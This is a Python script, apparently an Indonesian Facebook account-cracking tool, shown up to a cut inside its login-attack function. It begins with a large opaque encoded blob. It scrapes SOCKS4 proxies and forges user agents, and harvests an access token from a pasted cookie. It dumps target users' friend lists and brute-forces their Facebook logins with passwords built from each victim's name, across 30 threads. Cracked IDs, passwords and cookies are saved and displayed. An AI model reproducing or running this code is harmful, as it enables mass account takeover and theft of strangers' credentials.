Zey9Ix6ZMKB1jRLzyUY0NCjGkm+akhhzpRyJtBZzknzHu0/Lh+A27NoOB+b4vu33SdeoWVa2QGnbbDxIq6LaXTeMh3UJdYnu6laNNZyEtVWrvyxWERoUNn06RmqsPYSfFiC7KOhryQkvW3DXBt9/k8PgM6/MbE3I7GRVmgz3/X0j7ouJMynh0XntpO4+buJpPhRtoBiPfX5bP/ko4C4C7W/kgKJXnOTO1GP6f8Qk9pz0Cz9fhEs3A+YBE8xljzTAAKmlcPKZDsHsf04Hme5LNCB37ujPf29osNEhPbYFx6p/HmNxo1O3W0D899ZAvrWSLvJCsSNh+pKkolRVf1nMeSsBwP1V6hXcA0peo9wiEyZlFCoQnPZqhGGvW86vwvJhJd1wF0H4xbZjsnSHvQqpkGeOdY+v5+E64s+arydazFh3ol+O2ekCjJBOGMpo+wl0Ei4gKyJx6ZMSnLq7fsseQP5RvooZa9nGIvWJwfdw2+YVp5eORHBynboVhDAsAuZ0iLnl2/ksk7hT9SzreM3XZctjb+2gmkfrATS8fesLy8F2s7/CXH8S1EG8RMK1x6sJbkli2vXOdqMvTc66eRWAcf89frK7pD5Yctxys6DQSnRMMd4GeLsBLnaLvdJIiW/NSYX/UenKrI4pDjIaDzgSsDM3B0R6YLmPkEmdjIQML/ab8re1mqvmodgcbQJNImnGhhlMsXIAsy6LUPbM2S0HnHpA0m95qeKqAy8pt9RI9uwYRtC6bhFZTnHiZY2d9zvKbcQdgGwlFZLm8jMdIyX0Rjh6PWv/W/4TVPPe2bOBzG6BmIGlKlMTjBHBY1q/t8N+gbb052aMItzFVAjOGA5zKrtYFI+CaIRBhtcPOiG/HCSFwH6OB6MjzTt4fAATwrUzQ2nMOBvEhwBBa2UCAzhgPNq+ipIdqQQHSxdKIW0KYfxxxLklsgdx6nrlQzqF8IvQzozuGW07yV705Aor2iHVUZ6PldV5IfO6LguDcI+PHVNux/2MVw4/gvuKmh+oCG65xIZWZXu+nUNS9MvU/yfPs6KyX2k6hlg2APaCi5syqYiUdelzaY+L0AjMTNAnV6iYjFGcnxac7UVMVdlIaFp1bXVd4pG4fwB5h8cvcqBECt1tgEv81efMO06u8Cl0KDY72oK9lmktFnS7OOJMkx53dgCoKxAyb8JJ5U4KBD0CEhH/dWzatGSF9z1kqs5pa2tF9JiN+F7mcFRmTAFI7+BUZwFaiSY3Vlbm/f24xNjhuGxP+1rOBKUNW2AB0aitfm6fcpcJ++3gBa5Aw8tfoQjqiiFNTCPGv1d0ARS06eO3cjLR1QnP5io+EOHMcLJZThEr9CPkxD3NCjVYiRE0zZQY61Qq+Vv3eeU6pYzMCbEou5OyUT5x04LG7FfapQUpRiw8cnEos39l19mZ9DtF2i6T6owIYDDa7jVViQeeG1/kFc+qvnPizCk6P4ixxvvj9Cj/ifgKcaE1Ko9npjt2uV3mA2/bhz9ovEHl8NTuzVNZB9FUI1ogPolw+nZYN37tC43QTDnP8XoJVrCM8Hd2ahLJHjOU4fJrw+DhvJ7a//p4epUVyArHqD495hv9ZmFf94AkrJh98p174Q24lzZgwKmThuW+7s/k0DzUifYIFx81iLPx355avvPdCnllngRnStWWoBCusdBYHmaNUJqQ2jlsfGScPqjrhFs3VODLbFdnE8v2ddulyklgDVfm7f6q90wJWuaA8hHrCiZS+lGOAB4L+vu/7yWlQuIIheAe9umAjKiti4GHOt8MlOHVU8cmBjDBmePirlRtNfiIJ3mQl3cPjjN/PYlsZQVe7ILL5wR9FuHnbpUeJUup22DpuHYdNBez1ZlpaT5qnkPAmZI0TqWuS99YDui760c2FjxhGG/wSesPzmr6O5yzjokilo24StbPtEo02Y6rsseyOMAvGweOITwcCDcYUvdoFacuLMQ+JwvDt+AEkdKy/rCPuU8g4ZsYuSyf6wroj69hmi+Fvm/eNWPl5Z/tbc5HsD9NJiRvhIoY6F+iwtAA6jTdznw6BY+tXkdO4Tox4PREcsC7pFKq/xSVFh5TbNecLtE6AC4uKe/C8r2v9qcvKOloR1aIry7Z0N9ksB6Nj5U2FjFbBe3+KPCGG7fnjts29vWMckAHJmJygaivoczdp+2i0BQol/iqV4KSbnE2cCB8iv53Rp29HWAsoi3i9kbZuxcqmxiOU2XpEp8HtvrDm6qqLF0tJuVevDjY3GsXFKVOEyP6AvbSDnhbue0sqzJXpGL7+FlOik9Gvu2B+cALHvveNaGS4qqfgcAv+wxtWVdZ4RmISzrgnYt9DopIY9is7qlXelYkzK1SEsk3nIGV6zuy6hlGXcPDoIm43ItpSnTNdjt+x91/eRs/sihA6arfg7dxgUazLTOcAB2q2pjs8zu4Lc164H6bClRePH+RmLQeI8BbGNZrClBYFjcA0SR0Nlj0L9C2DUyaxSNgc4iGAT4WLvl8JOAEkYHZlyY0NkF84YBuLrlqTXLdbUnhs4ykA1cnnCkUdZox+mni2Cpz6IFxjujpe8j7vVUajjVI1AdEe+Ljiomhn149wWmfL1GtbnZ047a9If4YUTF1u/u4EnvAOxdzXsyu+hB31flsE9IFKl6hJK9iGS0WiDE8X2776NKqDIxQe86TalSud2ifltSW7yR4Ss1vbd32AV8TK49k5A1NcXOJ3E/aXNS0zCEABXk9lXwJxeJ2CwqM+FGiWdDXPJ79eib+EBVBWFWvTP0ZpWOeSCBiioxwUHfCQj2cvGHz241LSrqbu6bXBJkAUEqXgCzaMORFZ+JH1KW7TZTgFlBT9fGNY4R6CBqL1WG4mAjki41AHSdbuafdelbDlf/HglwjgYlKivHdC4JlL8VdUaStYG04Uz+4UjkcLLW+mKTRP9UufREQoukZnrjCpsjYZT1uB2MO9UeCXKxIheo+tOOF5oOIx3+fLD6NQ7qxKfeptxUqdP185hnS/pMXnurVIglQrtsUtd2jWYHSVKjxdthXt6Q1bi9wVWAO8JAS0owK+GojN1D/qaU4GQo20ema+mY9UvezOvdlGefreE8YSiVL5ygxjFNlfCZH6oWWGo11BxagxAoYocjitIsvCzcfIpUTU/WETmr4iJtXG0LZIh7+JsoQBVUs5KuR9OBFAYhO1Xud803AdcFP52FGsvL+ucUW8pjkj6qLFKTuWkARS6ujk47nvONWxnljyV3e+s0r+aAiP/EEPcTB1otmjF29xatByPX11bfDJA7AcXZMFVcgXNAQfVc34/NwYBt5xbElRJl8NRbfJXVXkYpIs1oVo7vQTir2XiwR0JuncdyHBvEgkDNEP6eCZmjd+oO4GZzMyep+UC40cImKmcXx8oaNYHEW7hlAR89BAiAMPw/OTdEWIOwFSew9v+NYvFQN5brh+BEsOvfL0HccEGvKPgsvEdekAp6sWMpQbD5J/JtDxS9j2CQZ4wU6e4aabvldoxh0LB4ZFSeRDRBD8C6IRzpX89BNg9lUPCm8mvpVv6xGBzc4tmbK+v9Rq0063e51czTmWuTLlyn2faKAndAWOm4tcaTK5RNeJF5PeOI6QD98R9cPwtlLB+aUErNUMi9MTk588Irhd6Tga+rFXtSL0gKL93ZKD//U2c6jEcZ5C3IFAqy0WaDKdhpkX0dSLvE90hHMHNmoCqsvtMep8bx1xunbxjoMgbTckMYLyFE6ZfUH7Z/ObNbtW5t8lSdtStkhFVMAtZqBB7klRKt9bLXaCaQjJ5+oQ5gJhOZUUfTV+ft/XqaTPBUcETJeu4zzWawfMGoQonKjvynTtMM8p6mrAIOIdj9QzWAVgSPz32cJxysvdv9AhX0R+OIFo8ootxq4/lNInWc+UIj74nDHKpJSxrgqJM7j+79tmCC+6ezUNz6sChg9OG26PutH1WMuSAzQOVjxT6K59neWCcf91QwUV3e2Vdu4DVcslHRZuRs47GHfKXJVvQCqC25lLKw+bMh84jb4CXoptTam5qICLE9mqfFWsKfRyza7cQ1OGZYk6AWIbI54QzRtLjiUF9B4AyfTecou8oRcMAUhNvcUr1TJj9jd/4pjuocRmCYqldib9FKdxLUXspIdZsYvpyL9TWY/vNPjXJeeTJdKQCfrlaOtR/T0SshQGRSObdFOh3G/20KnLq7IAZFjzFwcIsoVvtOkxrriwazH5bazXjU0zbIJBdaMqt1mPGc1SYa4Q8dOtxDu4eTDci0MJ2rrSkBKat1QVGBH8aiHwIWUjcX7hjSnjYAyOFS4WA/cPedL6GPkEuYINlZGgEFYGNgjxUifzVIQ/2IfrdqAcsd0SFTs5PTXsrwd4JV/ICJRVgakP0KJWCA8AdSKjaSRY/g6T04cNxbDNf5yJ4p/aknCtLVcfEYUCr2SbuViBeGW7USNimybzfeguFcpPhwF3tQj6h6nt+jmZk1PCs4FrB7uAAk58Diw3ftPEeeIJb+LfAdnswyUtAc5XCFWwVDrht4WF+Vxqn46/nd6gvfcpTseIL3hlwSFE11ePks3XkuvYRdTrjpERckyD0TwqWjTOQK0+405SQI4UAZVl4X0aNa/pm5iJiKhhQYkTmNzhY/9SNTm4ngzBsEiP9vzOr32pJrk+OULHEZ0fFJysTq3A7FHiNezVBduerV94Lp2B0oIUov9vS+rLANCmic0QeSXLuRfJ+WY5vet6Lm6SkIMO4q4OPvJ8Id5Lm36ggtlSXlxAXeVTJLeddkQP2yaqqAHkuQz9N0ZtZ97KE6gNoWillCrDHcMlQc4TArxiMouVwLK+dkpGPjEQY40MyzpA0p1sMiVQRzyrx2i+TuUycddjJdSoEIZsvCOw+UpZX1saCxF3lTIYL7cd96QHqs4VIpDIQyrTafXJ8JzAkHiONQbrn2sVM6RFFRmyoTEFDLYjaqeGhhIzYWhJizzdgKR8wNddgzaaqmclFWXuKwXffuHc9DJhS2ObpauTNhNdjVSb2Z8FWvk+zk0DxuLevKyH9An9wsIrLzzmUD21yibmNWEOZ5uYlW7c4MW+k+XsJTnLppK37JUALjJAongNNwXZKgEtZGZwPgynl8bdn07idVWlxCOCBMxCEzZGgZb+RUQQg1tjJ2iigersJhUSg1LbBAQEL07k8//3z/Pb/dO//r7/k//vvX///eN//b+/U8PF92//b7Z//P/3fy/e/f++ygyT7197wQKESIAQtcaKSpVv1aAtn377GFXSofav1sZvBA8ovBk3v+fZUq0wOe0mcxJe'))
try:
prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
open('.prox.txt','w').write(prox)
except Exception as e:
print('[[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mAlvino_adijaya_xy')
prox=open('.prox.txt','r').read().splitlines()
for xd in range(10000):
a='Mozilla/5.0 (Symbian/3; Series60/'
b=random.randrange(1, 9)
c=random.randrange(1, 9)
d='Nokia'
e=random.randrange(100, 9999)
f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/'
g=random.randrange(1, 9)
h=random.randrange(1, 4)
i=random.randrange(1, 4)
j=random.randrange(1, 4)
k='Mobile Safari/535.1'
uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
ugen2.append(uaku)
aa='Mozilla/5.0 (Linux; U; Android'
b=random.choice(['6','7','8','9','10','11','12'])
c=' en-us; GT-'
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.randrange(1, 999)
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
h=random.randrange(73,100)
i='0'
j=random.randrange(4200,4900)
k=random.randrange(40,150)
l='Mobile Safari/537.36'
uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
ugen.append(uaku2)
for x in range(10):
a='Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S'
b=random.randrange(100, 9999)
c=random.randrange(100, 9999)
d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
h=random.randrange(1, 9)
i='; U; Bada/1.2; en-us) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/'
j=random.randrange(1, 9)
k=random.randrange(1, 9)
l='Mobile WVGA SMM-MMS/1.2.0 OPN-B'
uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
def uaku():
try:
ua=open('bbnew.txt','r').read().splitlines()
for ub in ua:
ugen.append(ub)
except:
a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
ua=open('.bbnew.txt','w')
aa=re.findall('line">(.*?)<',str(a))
for un in aa:
ua.write(un+'\n')
ua=open('.bbnew.txt','r').read().splitlines()
#------------[ INDICATION ]---------------#
id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
cokbrut=[]
pwpluss,pwnya=[],[]
#------------[ WARNA-COLOR ]--------------#
P = '\x1b[1;97m'
M = '\x1b[1;91m'
H = '\x1b[1;92m'
K = '\x1b[1;93m'
B = '\x1b[1;94m'
U = '\x1b[1;95m'
O = '\x1b[1;96m'
N = '\x1b[0m'
Z = "\033[1;30m"
sir = '\033[41m\x1b[1;97m'
x = '\33[m' # DEFAULT
m = '\x1b[1;91m' #RED +
k = '\033[93m' # KUNING +
h = '\x1b[1;92m' # HIJAU +
hh = '\033[32m' # HIJAU -
u = '\033[95m' # UNGU
kk = '\033[33m' # KUNING -
b = '\33[1;96m' # BIRU -
p = '\x1b[0;34m' # BIRU +
asu = random.choice([m,k,h,u,b])
#--------------------[ CONVERTER-BULAN ]--------------#
dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
tgl = datetime.datetime.now().day
bln = dic[(str(datetime.datetime.now().month))]
thn = datetime.datetime.now().year
okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
#------------------[ MACHINE-SUPPORT ]---------------#
def alvino_xy(u):
for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
def clear():
os.system('clear')
def back():
login()
#------------------[ LOGO-LAKNAT ]-----------------#
def banner():
clear();print(f'''\t{asu}
____ ___
/ ___|_ __ __ _ ___| | __
| | | '__/ _` |/ __| |/ /
| |___| | | (_| | (__| <
\____|_| \__,_|\___|_|\_/
{x}''')
#--------------------[ BAGIAN-MASUK ]--------------#
def login():
try:
token = open('.token.txt','r').read()
cok = open('.cok.txt','r').read()
tokenku.append(token)
try:
sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
sy2 = json.loads(sy.text)['name']
menu(sy2)
except KeyError:
login_lagi334()
except requests.exceptions.ConnectionError:
li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
lo = mark(li, style='red')
sol().print(lo, style='cyan')
exit()
except IOError:
login_lagi334()
def login_lagi334():
try:
os.system('clear')
banner()
asu = random.choice([m,k,h,b,u])
cookie=input(f'* Cookies fb :{asu} ')
data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie})
find_token = re.search("(EAAG\w+)", data.text)
ken=open(".token.txt", "w").write(find_token.group(1))
cok=open(".cok.txt", "w").write(cookie)
print(f'{x}*{h} Login Sukses !!{x}');time.sleep(1)
exit()
except Exception as e:
os.system("rm -f .token.txt")
os.system("rm -f .cok.txt")
print(f'{x}*{m} Login Gagal !! {x}')
exit()
#------------------[ BAGIAN-MENU ]----------------#
def menu(my_name):
try:
token = open('.token.txt','r').read()
cok = open('.cok.txt','r').read()
except IOError:
print('[×] Cookies Kadaluarsa ')
time.sleep(5)
login_lagi334()
os.system('clear')
banner();print('-'*40)
ip = requests.get("https://api.ipify.org").text
print(f'* Nama Loh : {my_name}')
print(f'* Ip Loh : {ip} ')
print('-'*40)
print(f'[1] publik [3] result ')
print(f'[2] file [0] logout ')
_____alvino__adijaya_____ = input('✓ Pilih : ')
if _____alvino__adijaya_____ in ['1']:
dump_massal()
elif _____alvino__adijaya_____ in ['2']:
crack_file()
elif _____alvino__adijaya_____ in ['3']:
result()
elif _____alvino__adijaya_____ in ['0']:
os.system('rm -rf .token.txt')
os.system('rm -rf .cookie.txt')
print('>> Sukses Logout+Hapus Kukis ')
exit()
else:
print('>> Pilih Yang Bener Asu ')
back()
#-----------------[ HASIL-CRACK ]-----------------#
def result():
print('>> Hasil OK Anda ')
print('>> Hasil CP Anda ')
print('>> Kembali ')
kz = input('\n>> Pilih : ')
if kz in ['1','01']:
try:vin = os.listdir('CP')
except FileNotFoundError:
print('>> File Tidak Di Temukan ')
time.sleep(3)
back()
if len(vin)==0:
print('>> Anda Tidak Memiliki Hasil CP ')
time.sleep(2)
back()
else:
cih = 0
lol = {}
for isi in vin:
try:hem = open('CP/'+isi,'r').readlines()
except:continue
cih+=1
if cih<10:
nom = '0'+str(cih)
lol.update({str(cih):str(isi)})
lol.update({nom:str(isi)})
print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
else:
lol.update({str(cih):str(isi)})
print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
geeh = input('\n>> Pilih : ')
try:geh = lol[geeh]
except KeyError:
print('>> Pilih Yang Bener Kontol ')
exit()
try:lin = open('CP/'+geh,'r').read().splitlines()
except:
print('>> File Tidak Di Temukan ')
time.sleep(2)
back()
nocp=0
for cpku in range(len(lin)):
cpkuni=lin[nocp].split('|')
cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
sol().print(mark(cpkuh,style="yellow"))
nocp +=1
input('[ Klik Enter ]')
back()
elif kz in ['2','02']:
try:vin = os.listdir('OK')
except FileNotFoundError:
print('>> File Tidak Di Temukan ')
time.sleep(2)
back()
if len(vin)==0:
print('>> Anda Tidak Mempunyai File OK ')
time.sleep(2)
back()
else:
cih = 0
lol = {}
for isi in vin:
try:hem = open('OK/'+isi,'r').readlines()
except:continue
cih+=1
if cih<100:
nom = '0'+str(cih)
lol.update({str(cih):str(isi)})
lol.update({nom:str(isi)})
print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
else:
lol.update({str(cih):str(isi)})
print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
geeh = input('\n>> Pilih : ')
try:geh = lol[geeh]
except KeyError:
print('>> Pilih Yang Bener Kontol ')
exit()
try:lin = open('OK/'+geh,'r').read().splitlines()
except:
print('>> File Tidak Di Temukan ')
time.sleep(2)
back()
nocp=0
for cpku in range(len(lin)):
cpkuni=lin[nocp].split('|')
cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
sol().print(mark(cpkuh,style="green"))
print(f'{hh}COOKIE : {x}{cpkuni[2]}')
nocp +=1
input('[ Klik Enter ]')
back()
elif kz in ['0','00']:
back()
else:
print('>> Pilih Yang Bener Kontol ')
exit()
#-------------------[ CRACK-PUBLIK ]----------------#
def dump_massal():
try:
token = open('.token.txt','r').read()
cok = open('.cok.txt','r').read()
except IOError:
exit()
try:
print(f'-'*40)
jum = int(input('* Jumlah target : '))
except ValueError:
print('?? Masukkan Angka Anjing, Malah Huruff ')
exit()
if jum<1 or jum>100:
print('??? Gagal Dump Idz ')
exit()
ses=requests.Session()
yz = 0
for met in range(jum):
yz+=1
kl = input(f'* Masukkan id ke {b}{yz}{x} : ')
uid.append(kl)
for userr in uid:
try:
col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
for mi in col['friends']['data']:
try:
iso = (mi['id']+'|'+mi['name'])
if iso in id:pass
else:id.append(iso)
except:continue
except (KeyError,IOError):
pass
except requests.exceptions.ConnectionError:
print(f'× Sinyal Loh Kek Kontoll ')
exit()
try:
print(f'* Total {h}{len(id)}{x} akun ')
setting()
except requests.exceptions.ConnectionError:
print(f'{x}')
print('× Sinyal Lo kek Kontol ')
back()
except (KeyError,IOError):
print(f'×{k} Pertemanan Tidak Public {x}')
time.sleep(3)
back()
#-------------------[ CRACK-PENGIKUT ]----------------#
def crack_file():
try:vin = os.listdir('DUMP')
except FileNotFoundError:
print('× File Tidak Ditemukan ')
time.sleep(2)
back()
if len(vin)==0:
print('× Kamu Tidak Memiliki File Dump ')
time.sleep(2)
back()
else:
cih = 0
lol = {}
for isi in vin:
try:hem = open('DUMP/'+isi,'r').readlines()
except:continue
cih+=1
print('-'*40)
if cih<100:
nom = ''+str(cih)
lol.update({str(cih):str(isi)})
lol.update({nom:str(isi)})
print(f'* %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
else:
lol.update({str(cih):str(isi)})
print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
print('* %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
geeh = input(f'✓ Pilih : ')
try:geh = lol[geeh]
except KeyError:
print(f'{k}?? Pilih Yang Bener Kontol {x}')
time.sleep(3)
back()
try:lin = open('DUMP/'+geh,'r').read().splitlines()
except:
print('?? File Tidak Ditemukan, Coba Lagi Nanti ')
time.sleep(2)
back()
for xid in lin:
id.append(xid)
setting()
#-------------[ PENGATURAN-IDZ ]---------------#
def setting():
print(f'-'*40)
print(f'{x}[1] old [2] new [3] acak ')
hu = input('* Pilih : ')
if hu in ['1','01']:
for tua in sorted(id):
id2.append(tua)
elif hu in ['2','02']:
muda=[]
for bacot in sorted(id):
muda.append(bacot)
bcm=len(muda)
bcmi=(bcm-1)
for xmud in range(bcm):
id2.append(muda[bcmi])
bcmi -=1
elif hu in ['3','03']:
for bacot in id:
xx = random.randint(0,len(id2))
id2.insert(xx,bacot)
else:
print('× Pilih Yang Bener Kontooll ')
exit()
print('-'*40)
print(f'[1] mobile [2] mbasic ')
hc = input('* Pilih : ')
if hc in ['1','01']:
method.append('mobile')
elif hc in ['2','02']:
method.append('free')
else:
method.append('mobile')
pwplus=input('* Password manual y/t : ')
if pwplus in ['y','Y']:
pwpluss.append('ya')
print('-'*40)
pwku=input('* Masukkan password manual : ')
pwkuh=pwku.split(',')
for xpw in pwkuh:
pwnya.append(xpw)
else:
pwpluss.append('no')
passwrd()
#-------------------[ BAGIAN-WORDLIST ]------------#
def passwrd():
print(f'-'*40)
print(f'* Hasil {h}live{x} di : {h}%s {x}'%(okc))
print(f'* Hasil {k}cepe{x} di : {k}%s {x}'%(cpc))
print(f'* Mainkan mode Pesawat Setiap !')
print('-'*40)
with tred(max_workers=30) as pool:
for yuzong in id2:
idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
frs = nmf.split(' ')[0]
pwv = []
if len(nmf)<6:
if len(frs)<3:
pass
else:
pwv.append(frs+'123')
pwv.append(frs+'1234')
pwv.append(frs+'12345')
else:
if len(frs)<3:
pwv.append(nmf)
else:
pwv.append(nmf)
pwv.append(frs+'123')
pwv.append(frs+'1234')
pwv.append(frs+'12345')
if 'ya' in pwpluss:
for xpwd in pwnya:
pwv.append(xpwd)
else:pass
if 'mobile' in method:
pool.submit(crack,idf,pwv)
elif 'free' in method:
pool.submit(crackfree,idf,pwv)
else:
pool.submit(crackfree,idf,pwv)
print('')
print('-'*40)
print(f' OK-: {h}{ok}{x} CP-: {k}{cp}{x} ')
print('')
input(f'{x}[{k} Klik Enter {x}] untuk Keluar ')
#--------------------[ METODE-B-API ]-----------------#
def crack(idf,pwv):
global loop,ok,cp
bo = random.choice([m,k,h,b,u,x])
sys.stdout.write(f"\r*{bo} crack_ {P}{loop}/{len(id)} ok|{h}{ok}{x} cp|{k}{cp}{x} "),
sys.stdout.flush()
ua = random.choice(ugen)
ua2 = random.choice(ugen2)
ses = requests.Session()
for pw in pwv:
try:
nip=random.choice(prox)
proxs= {'http': 'socks4://'+nip}
ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
koki+=' m_pixel_ratio=2.625; wd=412x756'
heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror